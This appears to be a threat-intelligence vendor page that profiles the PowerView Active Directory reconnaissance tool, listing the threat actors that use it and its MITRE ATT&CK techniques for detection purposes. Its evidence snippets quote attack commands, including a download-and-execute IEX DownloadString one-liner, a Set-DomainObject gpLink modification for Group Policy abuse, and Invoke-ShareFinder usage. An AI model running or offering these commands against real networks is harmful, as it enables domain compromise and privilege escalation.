Skip to main content
Mallory
MalwareRansomwareUsed by 20 actors

PowerView

PowerView is a PowerShell-based situational awareness and Active Directory enumeration framework used for post-compromise discovery in Windows domain environments. The provided content associates it with reconnaissance and privilege-escalation-enabling discovery, including Active Directory access control list enumeration via the PowerShell cmdlets Get-ObjectAcl and Get-DomainObjectAcl, which are used to enumerate ACL permissions on AD objects and may reveal weak permissions that could be exploited for unauthorized access or privilege escalation. The content also references PowerView for disabled Kerberos pre-authentication discovery associated with AS-REP Roasting, constrained and unconstrained delegation discovery, Kerberos service ticket and SPN discovery associated with Kerberoasting, and Windows file share discovery via the Invoke-ShareFinder script. PowerView is repeatedly listed alongside other offensive tools such as BloodHound, Mimikatz, Rubeus, CrackMapExec, Cobalt Strike, and adPEAS in Active Directory attack chains and detection content. The content further states that the hacktivist group Twelve used PowerView during destructive intrusions against Russian targets. Detection guidance in the content highlights PowerShell Script Block Logging Event ID 4104, specifically script blocks containing get-objectacl or Get-DomainObjectAcl, as an analytic for identifying PowerView ACL enumeration. The content notes that legitimate administrators may also use PowerView, so detections may require tuning.

Share:
For your environment

Hunt this family in your stack

Mallory pivots from this family to the IOCs, detections, and named campaigns that touch your stack, and pages you when something new lands.

THREAT ACTORS

Groups observed using it

20 distinct threat actors attributed by public researchers. Open in Mallory to see the full evidence chain and overlapping campaigns.

View more details
Twelve

Prominent among the other tools used by Twelve are Cobalt Strike, Mimikatz, Chisel, BloodHound, PowerView, adPEAS, CrackMapExec, Advanced IP Scanner, and PsExec for credential theft, discovery, network mapping, and privilege escalation.

via the hacker newsthehackernews.com
Chimera

The following analytic detects the execution of PowerView PowerShell cmdlets Get-ObjectAcl or Get-DomainObjectAcl , which are used to enumerate Access Control List (ACL) permissions for Active Directory objects.

via splunk researchresearch.splunk.com
WIZARD SPIDER

The following analytic detects the execution of PowerView PowerShell cmdlets Get-ObjectAcl or Get-DomainObjectAcl , which are used to enumerate Access Control List (ACL) permissions for Active Directory objects.

via splunk researchresearch.splunk.com
ToddyCat

The following analytic detects the execution of PowerView PowerShell cmdlets Get-ObjectAcl or Get-DomainObjectAcl , which are used to enumerate Access Control List (ACL) permissions for Active Directory objects.

via splunk researchresearch.splunk.com
Scattered Spider

The following analytic detects the execution of PowerView PowerShell cmdlets Get-ObjectAcl or Get-DomainObjectAcl , which are used to enumerate Access Control List (ACL) permissions for Active Directory objects.

via splunk researchresearch.splunk.com
TA505

The following analytic detects the execution of PowerView PowerShell cmdlets Get-ObjectAcl or Get-DomainObjectAcl , which are used to enumerate Access Control List (ACL) permissions for Active Directory objects.

via splunk researchresearch.splunk.com
Play

The following analytic detects the execution of PowerView PowerShell cmdlets Get-ObjectAcl or Get-DomainObjectAcl , which are used to enumerate Access Control List (ACL) permissions for Active Directory objects.

via splunk researchresearch.splunk.com
Naikon

The following analytic detects the execution of PowerView PowerShell cmdlets Get-ObjectAcl or Get-DomainObjectAcl , which are used to enumerate Access Control List (ACL) permissions for Active Directory objects.

via splunk researchresearch.splunk.com
APT41

The following analytic detects the execution of PowerView PowerShell cmdlets Get-ObjectAcl or Get-DomainObjectAcl , which are used to enumerate Access Control List (ACL) permissions for Active Directory objects.

via splunk researchresearch.splunk.com
FIN13

The following analytic detects the execution of PowerView PowerShell cmdlets Get-ObjectAcl or Get-DomainObjectAcl , which are used to enumerate Access Control List (ACL) permissions for Active Directory objects.

via splunk researchresearch.splunk.com
Threat Group-1314

The following analytic detects the execution of PowerView PowerShell cmdlets Get-ObjectAcl or Get-DomainObjectAcl , which are used to enumerate Access Control List (ACL) permissions for Active Directory objects.

via splunk researchresearch.splunk.com
Indrik Spider

The following analytic detects the execution of PowerView PowerShell cmdlets Get-ObjectAcl or Get-DomainObjectAcl , which are used to enumerate Access Control List (ACL) permissions for Active Directory objects.

via splunk researchresearch.splunk.com
OilRig

The following analytic detects the execution of PowerView PowerShell cmdlets Get-ObjectAcl or Get-DomainObjectAcl , which are used to enumerate Access Control List (ACL) permissions for Active Directory objects.

via splunk researchresearch.splunk.com
APT5

The following analytic detects the execution of PowerView PowerShell cmdlets Get-ObjectAcl or Get-DomainObjectAcl , which are used to enumerate Access Control List (ACL) permissions for Active Directory objects.

via splunk researchresearch.splunk.com
Sandworm

The following analytic detects the execution of PowerView PowerShell cmdlets Get-ObjectAcl or Get-DomainObjectAcl , which are used to enumerate Access Control List (ACL) permissions for Active Directory objects.

via splunk researchresearch.splunk.com
Volt Typhoon

The following analytic detects the execution of PowerView PowerShell cmdlets Get-ObjectAcl or Get-DomainObjectAcl , which are used to enumerate Access Control List (ACL) permissions for Active Directory objects.

via splunk researchresearch.splunk.com
Cinnamon Tempest

The following analytic detects the execution of PowerView PowerShell cmdlets Get-ObjectAcl or Get-DomainObjectAcl , which are used to enumerate Access Control List (ACL) permissions for Active Directory objects.

via splunk researchresearch.splunk.com
BlackByte

The following analytic detects the execution of PowerView PowerShell cmdlets Get-ObjectAcl or Get-DomainObjectAcl , which are used to enumerate Access Control List (ACL) permissions for Active Directory objects.

via splunk researchresearch.splunk.com
Mustang Panda

The following analytic detects the execution of PowerView PowerShell cmdlets Get-ObjectAcl or Get-DomainObjectAcl , which are used to enumerate Access Control List (ACL) permissions for Active Directory objects.

via splunk researchresearch.splunk.com
Magic Hound

The following analytic detects the execution of PowerView PowerShell cmdlets Get-ObjectAcl or Get-DomainObjectAcl , which are used to enumerate Access Control List (ACL) permissions for Active Directory objects.

via splunk researchresearch.splunk.com
MITRE ATT&CK

Techniques & procedures

17 distinct techniques documented for this family, organized by ATT&CK tactic.

Initial Access

1 technique
T1078.002Domain AccountsEvidence1

Description Manually leverage PowerView to enumerate for active directory access control lists.

Execution

1 technique
T1059.001PowerShellEvidence3
TacticExecution

CTU researchers identified a variety of post-compromise tools stored under %AppData%... Powerview.ps1 — This PowerShell-based module for network reconnaissance is part of the PowerSploit penetration testing framework.

Persistence

2 techniques
T1078.002Domain AccountsEvidence1

Description Manually leverage PowerView to enumerate for active directory access control lists.

T1136.002Domain AccountEvidence1

“Sandworm Team created privileged domain accounts to be used for further exploitation and lateral movement… created two new accounts, 'admin' and 'система' (System)… delegated new privileges… BlackByte created privileged domain accounts… GALLIUM created high-privileged domain user accounts to maintain access… HAFNIUM has created domain accounts… Medusa Group has created a domain account… Wizard Spider has created and used new accounts within a victim's Active Directory environment to maintain persistence.”

T1078.002Domain AccountsEvidence1

Description Manually leverage PowerView to enumerate for active directory access control lists.

T1484.001Group Policy ModificationEvidence1

"...we will change its gpLink attribute... Get-DomainObject Finance | Set-DomainObject -Set @{'GpLink'='[LDAP://cn={GUID}...'}"

Stealth

1 technique
T1078.002Domain AccountsEvidence1

Description Manually leverage PowerView to enumerate for active directory access control lists.

T1484.001Group Policy ModificationEvidence1

"...we will change its gpLink attribute... Get-DomainObject Finance | Set-DomainObject -Set @{'GpLink'='[LDAP://cn={GUID}...'}"

Credential Access

2 techniques
T1558.003KerberoastingEvidence4

This commandlet requests Kerberos service tickets for specified service principal names (SPNs). Monitoring this activity is crucial as it can indicate attempts to perform Kerberoasting, a technique used to extract SPN account passwords via cracking tools like hashcat.

T1558.004AS-REP RoastingEvidence3

Get-DomainUser is used to identify domain users and combining it with -PreauthNotRequired allows adversaries to discover domain accounts with Kerberos Pre Authentication disabled. Red Teams and adversaries alike use may leverage PowerView to enumerate these accounts and attempt to crack their passwords offline.

Discovery

10 techniques
T1018Remote System DiscoveryEvidence9
TacticDiscovery

Additionally, PowerView, commonly used for network and Windows domain enumeration, was leveraged by the threat actor.

T1033System Owner/User DiscoveryEvidence3
TacticDiscovery

Observed activity included domain controller discovery, domain admin group enumeration, internal Exchange server discovery, LDAP enumeration, Active Directory exports using csvde.exe, PowerView-based user enumeration, and nslookup queries against internal Exchange systems.

T1046Network Service DiscoveryEvidence1
TacticDiscovery

# Invoke-ShareFinder ... Invoke-ShareFinder -CheckShareAccess

T1069Permission Groups DiscoveryEvidence3
TacticDiscovery

The attacker pulled 500+ computer objects with full properties and security descriptors... Every property. Security descriptors. Group memberships. Service Principal Names.

T1069.002Domain GroupsEvidence5
TacticDiscovery

"...download ... programs to conduct reconnaissance, enumeration (PowerView)"

T1083File and Directory DiscoveryEvidence1
TacticDiscovery

For example, the “Get-NetUser” cmdlet of the PowerView script allows for the enumeration of domain users within an Active Directory environment.

T1087Account DiscoveryEvidence3
TacticDiscovery

Atomic Test #2 - Enumerate all accounts via PowerShell (Domain) ... net user / domain get-localgroupmember - group Users get-aduser - filter *

T1087.002Domain AccountEvidence4
TacticDiscovery

T1087.002 - Domain Account Description from ATT&CK. Adversaries may attempt to get a listing of domain accounts. This information can help adversaries determine which domain accounts exist to aid in follow-on behavior.

T1135Network Share DiscoveryEvidence4
TacticDiscovery

The following analytic identifies the use of the Invoke-ShareFinder PowerShell commandlet part of PowerView. This module obtains the list of all active domain computers and lists the active shares on each computer.

T1482Domain Trust DiscoveryEvidence3
TacticDiscovery

Observed activity included domain controller discovery, domain admin group enumeration, internal Exchange server discovery, LDAP enumeration, Active Directory exports using csvde.exe...

T1105Ingress Tool TransferEvidence1

IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/...')

What this page doesn’t show

The version that knows your environment.

This page is what’s public. Mallory adds the parts that aren’t: which of your assets match these IOCs, which detections are missing, which campaigns to expect next, and what to do in the next 30 minutes.
IOC matching

Match every observed IP, domain, and hash against your live telemetry.

Threat actor attribution20

Named campaigns wielding this family, with evidence pinned to each claim.

Exploited vulnerabilities

CVEs this family uses for access and lateral movement.

Detection signatures

YARA, Sigma, Snort, and vendor rules, auto-deployed to your SIEM.

MITRE ATT&CK mapping17

Every documented technique, ranked by evidence weight.

Researcher chatter

Reddit, Mastodon, and CTI community discussion around this family.